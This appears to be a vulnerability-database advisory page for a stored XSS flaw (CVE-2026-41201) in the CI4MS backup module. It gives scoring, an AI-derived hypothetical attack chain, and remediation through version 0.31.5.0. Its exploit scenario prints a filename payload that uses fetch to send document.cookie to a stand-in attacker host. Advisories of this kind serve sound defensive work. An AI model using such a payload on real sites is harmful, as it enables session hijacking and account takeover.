Skip to main content

CI4MS CVE-2026-41201

| EUVDEUVD-2026-28253 CRITICAL
Cross-site Scripting (XSS) (CWE-79)
2026-04-22 https://github.com/ci4-cms-erp/ci4ms GHSA-qxpq-82f3-xj47
9.1
CVSS 3.1 · Vendor: https://github.com/ci4-cms-erp/ci4ms
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as high-privilege user
  2. Delivery
    Upload crafted SQL backup file with XSS filename
  3. Exploit
    Administrator views backup listing
  4. Install
    Stored XSS executes in admin browser
  5. C2
    Hijack session cookies
  6. Execute
    Escalate to superadmin via IDOR
  7. Impact
    Persistent full account takeover

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires authenticated access with high privileges (PR:H) specifically to CI4MS backup module functionality. Attacker must have permission to upload or create backup files, typically granted to backup operators, system administrators, or superadmin roles. Exploitation succeeds when backup module is actively used and administrators regularly access the backup management interface to view or manage backup files. Vulnerability affects default configurations of CI4MS versions below 0.31.5.0 with no special feature flags required. Limiting factors include: requires initial foothold as privileged user (not remotely exploitable from unauthenticated state), victim administrator must navigate to backup listing page for payload execution (though this is routine administrative activity), and browser-based XSS defenses like Content Security Policy may block inline script execution if properly configured (rare in default CI4MS deployments). The CVSS vector AV:N/AC:L/PR:H/UI:N indicates network-accessible exploitation with low complexity once authenticated, but the high privilege requirement (PR:H) significantly reduces attacker population compared to unauthenticated vulnerabilities.

Impact

Real-world risk is high for organizations using CI4MS despite requiring initial high-privilege access (PR:H). The CVSS 9.1 Critical score is justified by the scope change (S:C) and complete confidentiality/integrity/availability impact (C:H/I:H/A:H). Attack complexity is low (AC:L) with no user interaction required (UI:N) once the malicious backup file is planted. No EPSS data available for this newly disclosed CVE, and absence from CISA KEV suggests exploitation is not yet widespread. However, GitHub advisory GHSA-qxpq-82f3-xj47 confirms multiple coordinated security disclosures addressing XSS, arbitrary file write (Zip Slip RCE), and privilege escalation IDOR vulnerabilities in the same release cycle, indicating systemic security issues in the product. The combination of stored XSS with authenticated file upload creates a realistic privilege escalation chain from backup operator to superadmin. Organizations using CI4MS backup functionality face concrete risk, particularly in multi-admin environments where lateral movement amplifies impact. Patch availability in version 0.31.5.0 is confirmed by vendor release notes, making this immediately remediable. Priority should be HIGH for any CI4MS deployment, CRITICAL if backup module is actively used by multiple administrative roles.

Exploit ScenarioDerived

An authenticated attacker with backup operator or administrator privileges crafts a malicious SQL backup file where the filename field contains embedded JavaScript payload, such as backup_2026<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.sql. They upload this file through the CI4MS backup module interface. When a superadmin or another administrator navigates to the backup management dashboard, DataTables dynamically renders the filename list from database records without output escaping. The stored XSS payload executes in the victim's browser, exfiltrating session cookies to the attacker's server. With hijacked superadmin session, the attacker leverages the related IDOR vulnerability in UserController to permanently escalate their own account to superadmin profile group, achieving persistent full account takeover across all roles. No public POC identified, but attack technique combines standard stored XSS with application-specific privilege escalation logic.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – May 07, 2026

Remote code execution and full account takeover in CI4MS (CodeIgniter 4 CMS/ERP) allows authenticated high-privilege users to escalate to superadmin and compromise all accounts via stored DOM XSS in backup module filename fields. Attackers craft malicious SQL backup files containing hidden JavaScript payloads that execute when administrators view backup listings. Vendor-released patch available in version 0.31.5.0, addressing XSS via output escaping in DataTables rendering. No CISA KEV listing or public POC identified at time of analysis, but CVSS 9.1 Critical reflects scope change and multi-stage exploitation potential.

Earlier versions of this analysis (1)
v1 Apr 23, 2026 - 07:07 CVSS 6.8

Stored DOM XSS in CI4 CMS ERP backup module filename field allows authenticated high-privilege attackers to achieve full account takeover and privilege escalation via malicious SQL files containing hidden XSS payloads in the filename. User interaction is required for exploitation. Patch version 0.31.5.0 is available.

RemediationAI

Upgrade immediately to CI4MS version 0.31.5.0 or later, available at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0. The patch applies output escaping via esc() function to DataTables filename rendering in the Backup module, preventing stored DOM XSS execution. The release also addresses related vulnerabilities including Zip Slip RCE in backup restore and IDOR privilege escalation in UserController. If immediate upgrade is not feasible, implement compensating controls: restrict backup module access to only essential superadmin accounts (reduces attack surface by limiting who can upload malicious files), enable Content Security Policy headers to block inline script execution (add 'unsafe-inline' restrictions to script-src directive), and audit existing backup files for suspicious filenames containing JavaScript syntax (look for patterns like <script>, onerror=, or encoded payloads). Note that access restrictions only reduce likelihood, not vulnerability - they do not prevent exploitation if a trusted high-privilege account is already compromised. Manual input sanitization via output encoding is complex and error-prone compared to vendor patch. Vendor release notes at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0 credit security researchers @offset, @bugmithlegend, @peeefour, and @DexterHK for coordinated disclosure.

Affected VersionsENISA

ci4ms = 0.31.4.0

Affected Packages

composer ci4-cms-erp/ci4ms fix: 0.31.5.0
euvd ci4ms no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CI4MS is a CodeIgniter 4-based content management and ERP system written in PHP. The vulnerability stems from CWE-79 (Cross-Site Scripting) in the backup management module's filename handling. When backup files (SQL dumps) are uploaded or restored, the application stores filename metadata in the database without sanitization. The backup listing interface uses DataTables to dynamically render filenames from database records without proper output encoding. An attacker with high privileges (PR:H) can upload a crafted SQL file containing embedded XSS payloads in the filename field. When other administrators access the backup management interface, the malicious JavaScript executes in their browser context (Stored DOM XSS), enabling session hijacking and further privilege escalation. The CPE identifier pkg:composer/ci4-cms-erp_ci4ms confirms this affects the Composer-distributed PHP package. The CVSS scope change (S:C) indicates the vulnerability breaks trust boundaries, allowing attackers to pivot from backup module access to full administrative control.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/ci4-cms-erp/ci4ms) PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/ci4-cms-erp/ci4ms) · only source for this CVE.

CVSS VectorVendor: https://github.com/ci4-cms-erp/ci4ms

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

5
Analysis Updated
May 07, 2026 - 04:45 vuln.today
v2 - CVSS changed
Severity Changed
May 07, 2026 - 04:35 NVD
MEDIUM CRITICAL
CVSS changed
May 07, 2026 - 04:35 NVD
6.8 (MEDIUM) 9.1 (CRITICAL)
Patch released
Apr 23, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 22, 2026 - 17:27 nvd
MEDIUM 6.8

DescriptionCVE.org

Summary:

An attacker can acheive Full Account Takeover & Privilege Escalation via Stored DOM XSS in backup module filename field manipulated via an SQLl file that tampers with the file name field to contain hidden XSS payload.

Executive ViewAI

Why It Matters

CI4MS (CodeIgniter 4 CMS/ERP) versions prior to 0.31.5.0 contain a critical stored DOM XSS vulnerability in the backup module that allows authenticated high-privilege users to escalate privileges to superadmin and compromise all user accounts. Organizations using CI4MS face immediate risk of complete administrative control loss and data breach if the backup module is accessible to any authenticated user with file upload or naming permissions.

Business Impact: Severe
Compensating Controls

Apply vendor patch to version 0.31.5.0 or later. If immediate patching is not feasible, disable backup module functionality entirely via role-based access control; restrict backup file viewing and management to verified superadmin accounts only; implement Web Application Firewall rules to block DOM-based XSS patterns in HTTP responses from the backup module.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy